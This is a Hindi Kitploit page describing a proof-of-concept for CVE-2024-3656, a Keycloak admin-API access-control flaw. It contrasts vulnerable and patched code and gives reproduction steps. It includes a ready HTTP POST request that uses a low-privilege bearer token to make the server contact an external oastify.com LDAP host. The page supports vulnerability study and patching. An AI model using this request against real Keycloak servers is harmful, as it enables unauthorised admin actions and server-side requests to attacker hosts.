Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2024-3656 — Keycloak admin API कम विशेषाधिकार वाले उपयोगकर्ताओं को प्रशासनिक कार्यों का उपयोग करने की अनुमति देता है। | Kitploit
उपकरण/GitHubGitHub/h4x0r-dz/cve-2024-3656
प्रमाणीकरण और प्राधिकरणभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगगलत कॉन्फ़िगरेशन
GitHubh4x0r-dz/cve-2024-3656

CVE-2024-3656

Keycloak admin API कम विशेषाधिकार वाले उपयोगकर्ताओं को प्रशासनिक कार्यों का उपयोग करने की अनुमति देता है।

रिपॉजिटरी देखें
311031 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

Keycloak < 24.0.5 ब्रोकन एक्सेस कंट्रोल भेद्यता के लिए संवेदनशील है, जहाँ हमलावर कोई भी प्रमाणित उपयोगकर्ता का उपयोग करके निम्नलिखित API क्रियाएँ कर सकता है:

testLDAPConnection एंडपॉइंट के माध्यम से LDAP कनेक्शन का परीक्षण करें। getUnmanagedAttributes एंडपॉइंट के माध्यम से किसी भी उपयोगकर्ता के अप्रबंधित गुण प्राप्त करें। getProviders एंडपॉइंट के माध्यम से क्लाइंट पंजीकरण नीति प्रदाताओं तक पहुँचें।

मुझे केवल testLDAPConnection दिलचस्प लगा जहाँ एक हमलावर किसी बाहरी होस्ट से LDAP के साथ इंटरैक्ट कर सकता है।

पुनरुत्पादन के चरण

पहले KeyCloak 24.0.4 के संवेदनशील संस्करण को यहाँ से डाउनलोड करें https://www.keycloak.org/archive/downloads-24.0.4.html

फिर ज़िप फ़ाइल को निकालें और कमांड bin/kc.sh start-dev चलाएँ

image

अब यह localhost:8080 पर चलेगा, एक नया एडमिन खाता बनाएँ और फिर इस एडमिन खाते में लॉगिन करें

अब नियमित उपयोगकर्ताओं के लिए एक नया रियल्म बनाएँ, और फिर इस रियल्म में उपयोगकर्ता विशेषाधिकार के साथ एक उपयोगकर्ता बनाएँ

image

भेद्यता को ठीक करने वाली कमिट के आधार पर "Missing auth checks in some admin endpoints" https://github.com/keycloak/keycloak/commit/d9f0c84b797525eac55914db5f81a8133ef5f9b1

हम पाते हैं कि तीन फ़ाइलें संशोधित की गई हैं:

TestLdapConnectionResource.java UserResource.java ClientRegistrationPolicyResource.java

TestLdapConnectionResource.java में कोड परिवर्तन का विश्लेषण:

(संवेदनशील कोड):

root@kitploit:~
public Response testLDAPConnection(TestLdapConnectionRepresentation config) {
    try {
        LDAPServerCapabilitiesManager.testLDAP(config, session, realm);
        return Response.noContent().build();
    }
    // अपवाद हैंडलिंग...
}

इसमें कोई अनुमति जाँच नहीं थी। कोई भी प्रमाणित उपयोगकर्ता testLDAPConnection को कॉल कर सकता था और LDAP परीक्षण कर सकता था, जो एक प्रशासनिक कार्रवाई है।

(पैच किया गया कोड):

root@kitploit:~
public Response testLDAPConnection(TestLdapConnectionRepresentation config) {
    auth.realm().requireManageRealm(); // अनुमति जाँच जोड़ी गई
    try {
        LDAPServerCapabilitiesManager.testLDAP(config, session, realm);
        return Response.noContent().build();
    }
    // अपवाद हैंडलिंग...
}

image

auth.realm().requireManageRealm(); पंक्ति जोड़ी गई ताकि यह जाँचा जा सके कि उपयोगकर्ता के पास रियल्म में एडमिन अनुमतियाँ (manage_realm भूमिका) हैं या नहीं।

इसका मतलब है कि किसी भी रियल्म का कोई भी उपयोगकर्ता /admin/realms/users/testLDAPConnection पर अनुरोध भेज सकता है।

अब एक नए ब्राउज़र में लिंक खोलें http://localhost:8080/realms/users/protocol/openid-connect/auth?client_id=account-console

आपके द्वारा बनाए गए उपयोगकर्ता से लॉगिन करें, फिर authorization: Bearer <> प्राप्त करें।

संवेदनशील एंडपॉइंट पर HTTP अनुरोध भेजें:

root@kitploit:~
POST /admin/realms/users/testLDAPConnection HTTP/1.1
Host: dzdz.me:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
authorization: Bearer <xxxx>
content-type: application/json
Content-Length: 265
Origin: http://dzdz.me:8080
Connection: close


{

    "action": "testConnection",
    "connectionUrl": "ldap://xxxxxxxxxxxxxxxxxxxxxxx.oastify.com",
    "bindDn": "cn=admin,dc=example,dc=com",
    "bindCredential": "password",
    "useTruststoreSpi": "ldapsOnly",
    "connectionTimeout": "5000"
}

पैरामीटर connectionUrl में अपना बाहरी होस्ट डालें और अनुरोध भेजें,

फिर आपको DNS इंटरैक्शन प्राप्त होगा

image

आप getUnmanagedAttributes और getProviders के साथ भी यही काम कर सकते हैं।

संदर्भ: https://github.com/keycloak/keycloak/commit/d9f0c84b797525eac55914db5f81a8133ef5f9b1 https://github.com/advisories/GHSA-2cww-fgmg-4jqc

टूल डाउनलोड करें